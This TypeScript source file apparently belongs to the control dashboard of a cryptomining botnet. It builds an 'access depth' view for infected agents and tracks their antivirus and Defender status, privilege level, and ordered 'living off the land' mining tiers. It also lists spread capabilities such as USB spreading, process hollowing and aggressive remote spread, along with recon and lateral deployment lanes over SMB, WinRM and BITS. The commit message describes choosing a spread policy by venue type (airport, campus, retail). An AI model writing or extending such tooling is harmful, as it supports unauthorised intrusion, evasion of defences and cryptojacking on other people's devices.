Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
548 lines
18 KiB
TypeScript
548 lines
18 KiB
TypeScript
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
|
import type { Agent } from '../types';
|
|
import { isAndroidPlatform, platformLabel } from './platform';
|
|
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
|
|
|
|
/** Mirrors agent/miner/environment_probe.go */
|
|
export interface EnvironmentProbes {
|
|
docker?: boolean;
|
|
wsl?: boolean;
|
|
pwsh?: boolean;
|
|
dotnet?: boolean;
|
|
gpu?: boolean;
|
|
av_blocks_exe?: boolean;
|
|
webview2?: boolean;
|
|
wifi?: boolean;
|
|
battery?: boolean;
|
|
foreground_service?: boolean;
|
|
}
|
|
|
|
export interface StrategyReason {
|
|
fact: string;
|
|
inference: string;
|
|
action: string;
|
|
}
|
|
|
|
export interface AdaptiveStrategyView {
|
|
tier_order?: string[];
|
|
skip_tiers?: string[];
|
|
reasoning?: StrategyReason[];
|
|
confidence?: number;
|
|
updated_at?: string;
|
|
}
|
|
|
|
export interface AtlasSkipView {
|
|
tier: string;
|
|
condition: string;
|
|
reason: string;
|
|
}
|
|
|
|
export interface AccessDepthDiagnostics {
|
|
environment_probes?: EnvironmentProbes;
|
|
tier_chain_order?: string[];
|
|
tier_chain_skipped?: string[];
|
|
atlas_skips?: AtlasSkipView[];
|
|
lotl_tier?: string;
|
|
lotl_attempts?: TierAttempt[];
|
|
active_method?: string;
|
|
execution_mode?: string;
|
|
adaptive_strategy?: AdaptiveStrategyView;
|
|
strategy_reasoning?: StrategyReason[];
|
|
}
|
|
|
|
export interface AccessDepthServerPolicy {
|
|
lotl_onion_tiers?: string[];
|
|
mining_tier_order?: string[];
|
|
mining_skip_tiers?: string[];
|
|
graft_enabled?: boolean;
|
|
triple_onion?: {
|
|
recon_tiers?: string[];
|
|
deploy_lanes?: string[];
|
|
};
|
|
}
|
|
|
|
export interface ProbeChip {
|
|
key: string;
|
|
label: string;
|
|
ok: boolean;
|
|
}
|
|
|
|
export interface AccessDepthAttemptRow {
|
|
tier: string;
|
|
label: string;
|
|
ok: boolean;
|
|
error?: string;
|
|
phase?: string;
|
|
}
|
|
|
|
export interface OnionTierRow {
|
|
index: number;
|
|
tier: string;
|
|
label: string;
|
|
status: 'active' | 'skipped' | 'skipped_by_atlas' | 'pending' | 'done' | 'failed' | 'neutral';
|
|
atlasCondition?: string;
|
|
}
|
|
|
|
export interface AccessDepthModel {
|
|
platformLabel: string;
|
|
osLine: string;
|
|
probes: ProbeChip[];
|
|
spreadCaps: string[];
|
|
privilegeHints: string[];
|
|
activeTier?: string;
|
|
activeTierLabel?: string;
|
|
joinLane?: string;
|
|
succeeded: AccessDepthAttemptRow[];
|
|
failed: AccessDepthAttemptRow[];
|
|
inProgressTier?: string;
|
|
inProgressLabel?: string;
|
|
pendingTiers: string[];
|
|
pendingLabels: string[];
|
|
miningOnion: OnionTierRow[];
|
|
spreadOnion: OnionTierRow[];
|
|
tripleOnionSummary?: string;
|
|
miningOrderSource: 'agent' | 'server' | 'default' | 'adaptive';
|
|
adaptiveActive: boolean;
|
|
strategyReasoning: StrategyReason[];
|
|
adaptiveConfidence?: number;
|
|
atlasSkips: AtlasSkipView[];
|
|
phenotypeSource?: string;
|
|
phenotypeSpreadLane?: string;
|
|
}
|
|
|
|
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
|
|
export const DEFAULT_MINING_TIER_ORDER = [
|
|
'exe_subprocess',
|
|
'docker_load',
|
|
'container',
|
|
'wsl',
|
|
'ps_inmemory',
|
|
'cpu_inprocess',
|
|
'gpu_subprocess',
|
|
'stratum_direct',
|
|
] as const;
|
|
|
|
/** APK fleet-node mining path — foreground service then in-process CPU. */
|
|
export const ANDROID_MINING_TIER_ORDER = ['foreground_service', 'cpu_inprocess'] as const;
|
|
|
|
/** Virtual timeline row summarizing skipped desktop tiers on Android. */
|
|
export const ANDROID_DESKTOP_SKIPPED_TIER = 'desktop_tiers_skipped';
|
|
|
|
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
|
|
const DEFAULT_TRIPLE_DEPLOY = [
|
|
'discover_and_join',
|
|
'docker',
|
|
'wsl',
|
|
'powershell',
|
|
'dotnet',
|
|
'bits_curl',
|
|
'smb',
|
|
'winrm',
|
|
];
|
|
|
|
export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefined {
|
|
if (!raw || typeof raw !== 'object') return undefined;
|
|
const row = raw as Record<string, unknown>;
|
|
const probes: EnvironmentProbes = {};
|
|
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2', 'wifi', 'battery', 'foreground_service'] as const) {
|
|
if (typeof row[key] === 'boolean') probes[key] = row[key];
|
|
}
|
|
return Object.keys(probes).length > 0 ? probes : undefined;
|
|
}
|
|
|
|
export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): AccessDepthDiagnostics {
|
|
const attempts = parseTierAttempts(raw.lotl_attempts ?? raw.attempts);
|
|
const tier_chain_order = Array.isArray(raw.tier_chain_order)
|
|
? raw.tier_chain_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
|
: undefined;
|
|
const tier_chain_skipped = Array.isArray(raw.tier_chain_skipped)
|
|
? raw.tier_chain_skipped.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
|
: undefined;
|
|
const lotl_tier =
|
|
(typeof raw.lotl_tier === 'string' && raw.lotl_tier) ||
|
|
(typeof raw.active_tier === 'string' && raw.active_tier) ||
|
|
undefined;
|
|
|
|
const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy);
|
|
const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning;
|
|
const atlas_skips = parseAtlasSkips(raw.atlas_skips);
|
|
|
|
return {
|
|
environment_probes: parseEnvironmentProbes(raw.environment_probes),
|
|
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
|
|
tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined,
|
|
atlas_skips,
|
|
lotl_tier,
|
|
lotl_attempts: attempts.length ? attempts : undefined,
|
|
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
|
|
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
|
|
adaptive_strategy: adaptive,
|
|
strategy_reasoning: reasoning,
|
|
};
|
|
}
|
|
|
|
function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined {
|
|
if (!Array.isArray(raw)) return undefined;
|
|
const out: StrategyReason[] = [];
|
|
for (const row of raw) {
|
|
if (!row || typeof row !== 'object') continue;
|
|
const r = row as Record<string, unknown>;
|
|
if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') {
|
|
continue;
|
|
}
|
|
out.push({ fact: r.fact, inference: r.inference, action: r.action });
|
|
}
|
|
return out.length ? out : undefined;
|
|
}
|
|
|
|
function parseAdaptiveStrategy(raw: unknown): AdaptiveStrategyView | undefined {
|
|
if (!raw || typeof raw !== 'object') return undefined;
|
|
const row = raw as Record<string, unknown>;
|
|
const tier_order = Array.isArray(row.tier_order)
|
|
? row.tier_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
|
: undefined;
|
|
const skip_tiers = Array.isArray(row.skip_tiers)
|
|
? row.skip_tiers.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
|
: undefined;
|
|
const reasoning = parseStrategyReasoning(row.reasoning);
|
|
const confidence = typeof row.confidence === 'number' ? row.confidence : undefined;
|
|
const updated_at = typeof row.updated_at === 'string' ? row.updated_at : undefined;
|
|
if (!tier_order?.length && !reasoning?.length) return undefined;
|
|
return { tier_order, skip_tiers, reasoning, confidence, updated_at };
|
|
}
|
|
|
|
function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
|
|
if (a.length !== b.length) return true;
|
|
return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
|
|
}
|
|
|
|
function androidDesktopSkipped(): string[] {
|
|
return DEFAULT_MINING_TIER_ORDER.filter(
|
|
(t) => !ANDROID_MINING_TIER_ORDER.includes(t as (typeof ANDROID_MINING_TIER_ORDER)[number]),
|
|
);
|
|
}
|
|
|
|
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
|
|
if (isAndroidPlatform(agent.platform)) {
|
|
const p = probes ?? {};
|
|
return [
|
|
{ key: 'wifi', label: 'Wi-Fi', ok: p.wifi === true },
|
|
{ key: 'battery', label: 'Battery', ok: p.battery === true },
|
|
{ key: 'fg_service', label: 'Foreground svc', ok: p.foreground_service === true },
|
|
].filter((c) => c.ok || probes != null);
|
|
}
|
|
const p = probes ?? {};
|
|
const chips: ProbeChip[] = [
|
|
{ key: 'docker', label: 'Docker', ok: p.docker === true },
|
|
{ key: 'wsl', label: 'WSL', ok: p.wsl === true },
|
|
{ key: 'pwsh', label: 'PowerShell', ok: p.pwsh === true },
|
|
{ key: 'dotnet', label: 'dotnet', ok: p.dotnet === true },
|
|
{ key: 'gpu', label: 'GPU', ok: p.gpu === true || agent.gpu_miner_active === true },
|
|
{ key: 'webview2', label: 'WebView2', ok: p.webview2 === true },
|
|
];
|
|
if (p.av_blocks_exe === true) {
|
|
chips.push({ key: 'av', label: 'AV blocks exe', ok: false });
|
|
}
|
|
return chips.filter((c) => c.ok || probes != null);
|
|
}
|
|
|
|
function parseAtlasSkips(raw: unknown): AtlasSkipView[] | undefined {
|
|
if (!Array.isArray(raw)) return undefined;
|
|
const out: AtlasSkipView[] = [];
|
|
for (const row of raw) {
|
|
if (!row || typeof row !== 'object') continue;
|
|
const r = row as Record<string, unknown>;
|
|
if (typeof r.tier !== 'string' || typeof r.condition !== 'string') continue;
|
|
out.push({
|
|
tier: r.tier,
|
|
condition: r.condition,
|
|
reason: typeof r.reason === 'string' ? r.reason : '',
|
|
});
|
|
}
|
|
return out.length ? out : undefined;
|
|
}
|
|
|
|
export function atlasConditionLabel(condition: string): string {
|
|
switch (condition) {
|
|
case 'defender_on':
|
|
return 'Defender on';
|
|
case 'no_docker':
|
|
return 'no Docker';
|
|
case 'av_blocks_exe':
|
|
return 'AV blocks exe';
|
|
case 'goos=windows':
|
|
return 'Windows';
|
|
case 'goos=linux':
|
|
return 'Linux';
|
|
default:
|
|
return condition.replace(/_/g, ' ');
|
|
}
|
|
}
|
|
|
|
export function atlasSkipDisplayLabel(skip: AtlasSkipView): string {
|
|
return `${formatLotlTierLabel(skip.tier)} (${atlasConditionLabel(skip.condition)})`;
|
|
}
|
|
|
|
function spreadCapabilities(agent: Agent): string[] {
|
|
const caps = agent.capabilities;
|
|
const out: string[] = [];
|
|
if (caps?.auto_spread) out.push('auto_spread');
|
|
if (caps?.mesh_p2p) out.push('mesh_p2p');
|
|
if (caps?.hole_punch) out.push('hole_punch');
|
|
if (caps?.process_hollowing) out.push('process_hollowing');
|
|
if (caps?.usb_spread || agent.usb_spread) out.push('usb_spread');
|
|
if (caps?.remote_aggressive) out.push('remote_aggressive');
|
|
return out;
|
|
}
|
|
|
|
function privilegeHints(agent: Agent, diag?: AccessDepthDiagnostics): string[] {
|
|
const hints: string[] = [];
|
|
if (agent.agent_elevated === true) hints.push('elevated');
|
|
else if (agent.agent_elevated === false) hints.push('standard user');
|
|
if (agent.defender_rtp === true) hints.push('Defender RTP on');
|
|
else if (agent.defender_enabled === true) hints.push('Defender on');
|
|
if (agent.ssh_available === true) hints.push('SSH reachable');
|
|
if (typeof agent.posture_score === 'number') hints.push(`posture ${agent.posture_score}`);
|
|
if (diag?.execution_mode) hints.push(`exec ${diag.execution_mode}`);
|
|
return hints;
|
|
}
|
|
|
|
function attemptRows(attempts: TierAttempt[]): AccessDepthAttemptRow[] {
|
|
return attempts.map((a) => ({
|
|
tier: a.tier,
|
|
label: formatLotlTierLabel(a.tier),
|
|
ok: a.ok,
|
|
error: a.error,
|
|
phase: a.phase,
|
|
}));
|
|
}
|
|
|
|
function uniqueAttemptTiers(attempts: TierAttempt[]): Set<string> {
|
|
return new Set(attempts.map((a) => a.tier.trim().toLowerCase()));
|
|
}
|
|
|
|
function resolveMiningOrder(
|
|
diag: AccessDepthDiagnostics | undefined,
|
|
policy: AccessDepthServerPolicy | undefined,
|
|
agent: Agent,
|
|
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
|
|
if (isAndroidPlatform(agent.platform)) {
|
|
const order = diag?.tier_chain_order?.length
|
|
? diag.tier_chain_order
|
|
: [...ANDROID_MINING_TIER_ORDER];
|
|
const skipped = diag?.tier_chain_skipped?.length
|
|
? diag.tier_chain_skipped
|
|
: androidDesktopSkipped();
|
|
return { order, skipped, source: diag?.tier_chain_order?.length ? 'agent' : 'default' };
|
|
}
|
|
if (diag?.adaptive_strategy?.tier_order?.length) {
|
|
const adaptiveOrder = diag.adaptive_strategy.tier_order;
|
|
const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER);
|
|
if (adaptiveActive || (diag.strategy_reasoning?.length ?? 0) > 0) {
|
|
return {
|
|
order: adaptiveOrder,
|
|
skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [],
|
|
source: 'adaptive',
|
|
};
|
|
}
|
|
}
|
|
if (diag?.tier_chain_order?.length) {
|
|
return {
|
|
order: diag.tier_chain_order,
|
|
skipped: diag.tier_chain_skipped ?? [],
|
|
source: 'agent',
|
|
};
|
|
}
|
|
if (policy?.mining_tier_order?.length) {
|
|
return {
|
|
order: policy.mining_tier_order,
|
|
skipped: policy.mining_skip_tiers ?? [],
|
|
source: 'server',
|
|
};
|
|
}
|
|
if (agent.chain_order?.length) {
|
|
return {
|
|
order: agent.chain_order,
|
|
skipped: [],
|
|
source: 'agent',
|
|
};
|
|
}
|
|
return {
|
|
order: [...DEFAULT_MINING_TIER_ORDER],
|
|
skipped: diag?.tier_chain_skipped ?? [],
|
|
source: 'default',
|
|
};
|
|
}
|
|
|
|
function buildOnionRows(
|
|
order: string[],
|
|
skipped: string[],
|
|
attempts: TierAttempt[],
|
|
activeTier?: string,
|
|
atlasSkips: AtlasSkipView[] = [],
|
|
): OnionTierRow[] {
|
|
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
|
|
const atlasByTier = new Map<string, AtlasSkipView>();
|
|
for (const skip of atlasSkips) {
|
|
atlasByTier.set(skip.tier.toLowerCase(), skip);
|
|
}
|
|
const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase()));
|
|
const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase()));
|
|
const active = activeTier?.toLowerCase();
|
|
|
|
const orderLower = new Set(order.map((s) => s.toLowerCase()));
|
|
const fullOrder = [
|
|
...order,
|
|
...skipped.filter((s) => !orderLower.has(s.toLowerCase())),
|
|
...atlasSkips.map((s) => s.tier).filter((s) => !orderLower.has(s.toLowerCase()) && !skippedSet.has(s.toLowerCase())),
|
|
];
|
|
|
|
return fullOrder.map((tier, i) => {
|
|
const key = tier.toLowerCase();
|
|
const atlas = atlasByTier.get(key);
|
|
let status: OnionTierRow['status'] = 'neutral';
|
|
if (active && key === active) status = 'active';
|
|
else if (atlas) status = 'skipped_by_atlas';
|
|
else if (skippedSet.has(key)) status = 'skipped';
|
|
else if (okSet.has(key)) status = 'done';
|
|
else if (failSet.has(key)) status = 'failed';
|
|
else status = 'pending';
|
|
|
|
return {
|
|
index: i + 1,
|
|
tier,
|
|
label: formatLotlTierLabel(tier),
|
|
status,
|
|
atlasCondition: atlas?.condition,
|
|
};
|
|
});
|
|
}
|
|
|
|
function computePendingTiers(
|
|
order: string[],
|
|
skipped: string[],
|
|
attempts: TierAttempt[],
|
|
): string[] {
|
|
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
|
|
const touched = uniqueAttemptTiers(attempts);
|
|
return order.filter((t) => {
|
|
const key = t.toLowerCase();
|
|
return !skippedSet.has(key) && !touched.has(key);
|
|
});
|
|
}
|
|
|
|
function detectInProgress(
|
|
agent: Agent,
|
|
attempts: TierAttempt[],
|
|
pending: string[],
|
|
activeTier?: string,
|
|
): string | undefined {
|
|
if (agent.status !== 'online') return undefined;
|
|
if (activeTier) {
|
|
const lastForActive = [...attempts].reverse().find((a) => a.tier.toLowerCase() === activeTier.toLowerCase());
|
|
if (!lastForActive || !lastForActive.ok) return activeTier;
|
|
}
|
|
return pending[0];
|
|
}
|
|
|
|
export function buildAccessDepthModel(
|
|
agent: Agent,
|
|
diagnostics?: AccessDepthDiagnostics,
|
|
policy?: AccessDepthServerPolicy,
|
|
): AccessDepthModel {
|
|
const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? [];
|
|
const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier;
|
|
const atlasSkips = diagnostics?.atlas_skips ?? [];
|
|
const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent);
|
|
const pending = computePendingTiers(order, skipped, attempts);
|
|
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
|
|
|
|
const spreadOrder = isAndroidPlatform(agent.platform)
|
|
? []
|
|
: policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
|
|
? policy.lotl_onion_tiers
|
|
: [...DEFAULT_LOTL_ONION_TIERS];
|
|
|
|
const recon = policy?.triple_onion?.recon_tiers?.length
|
|
? policy.triple_onion.recon_tiers
|
|
: DEFAULT_TRIPLE_RECON;
|
|
const deploy = policy?.triple_onion?.deploy_lanes?.length
|
|
? policy.triple_onion.deploy_lanes
|
|
: DEFAULT_TRIPLE_DEPLOY;
|
|
|
|
const osParts = [platformLabel(agent.platform)];
|
|
if (agent.os_version) osParts.push(agent.os_version);
|
|
if (agent.arch) osParts.push(agent.arch);
|
|
|
|
const miningOnion = isAndroidPlatform(agent.platform)
|
|
? [
|
|
...buildOnionRows([...ANDROID_MINING_TIER_ORDER], [], attempts, activeTier, atlasSkips),
|
|
{
|
|
index: ANDROID_MINING_TIER_ORDER.length + 1,
|
|
tier: ANDROID_DESKTOP_SKIPPED_TIER,
|
|
label: formatLotlTierLabel(ANDROID_DESKTOP_SKIPPED_TIER),
|
|
status: 'skipped' as const,
|
|
},
|
|
]
|
|
: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips);
|
|
|
|
return {
|
|
platformLabel: platformLabel(agent.platform),
|
|
osLine: osParts.join(' · '),
|
|
probes: probeChips(diagnostics?.environment_probes, agent),
|
|
spreadCaps: spreadCapabilities(agent),
|
|
privilegeHints: privilegeHints(agent, diagnostics),
|
|
activeTier,
|
|
activeTierLabel: activeTier ? formatLotlTierLabel(activeTier) : undefined,
|
|
joinLane: agent.join_lane,
|
|
succeeded: attemptRows(attempts.filter((a) => a.ok)),
|
|
failed: attemptRows(attempts.filter((a) => !a.ok)),
|
|
inProgressTier,
|
|
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
|
|
pendingTiers: pending,
|
|
pendingLabels: pending.map(formatLotlTierLabel),
|
|
miningOnion,
|
|
spreadOnion: spreadOrder.map((tier, i) => ({
|
|
index: i + 1,
|
|
tier,
|
|
label: formatLotlTierLabel(tier),
|
|
status: 'neutral' as const,
|
|
})),
|
|
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}…`,
|
|
miningOrderSource: source,
|
|
adaptiveActive: source === 'adaptive',
|
|
strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [],
|
|
adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence,
|
|
atlasSkips,
|
|
phenotypeSource: agent.inherited_phenotype?.source_agent_name,
|
|
phenotypeSpreadLane: agent.inherited_phenotype?.spread_lane,
|
|
};
|
|
}
|
|
|
|
export function parseAccessDepthServerPolicy(config: {
|
|
server?: {
|
|
lotl_onion_tiers?: string[];
|
|
ai_control_enabled?: boolean;
|
|
fleet_roles_enabled?: boolean;
|
|
triple_onion_policy?: {
|
|
recon_tiers?: string[];
|
|
deploy_lanes?: string[];
|
|
};
|
|
};
|
|
}): AccessDepthServerPolicy {
|
|
const server = config.server;
|
|
const graftEnabled =
|
|
server?.ai_control_enabled === true && server?.fleet_roles_enabled === true;
|
|
return {
|
|
lotl_onion_tiers: server?.lotl_onion_tiers,
|
|
mining_tier_order: [...DEFAULT_MINING_TIER_ORDER],
|
|
graft_enabled: graftEnabled,
|
|
triple_onion: server?.triple_onion_policy
|
|
? {
|
|
recon_tiers: server.triple_onion_policy.recon_tiers,
|
|
deploy_lanes: server.triple_onion_policy.deploy_lanes,
|
|
}
|
|
: undefined,
|
|
};
|
|
}
|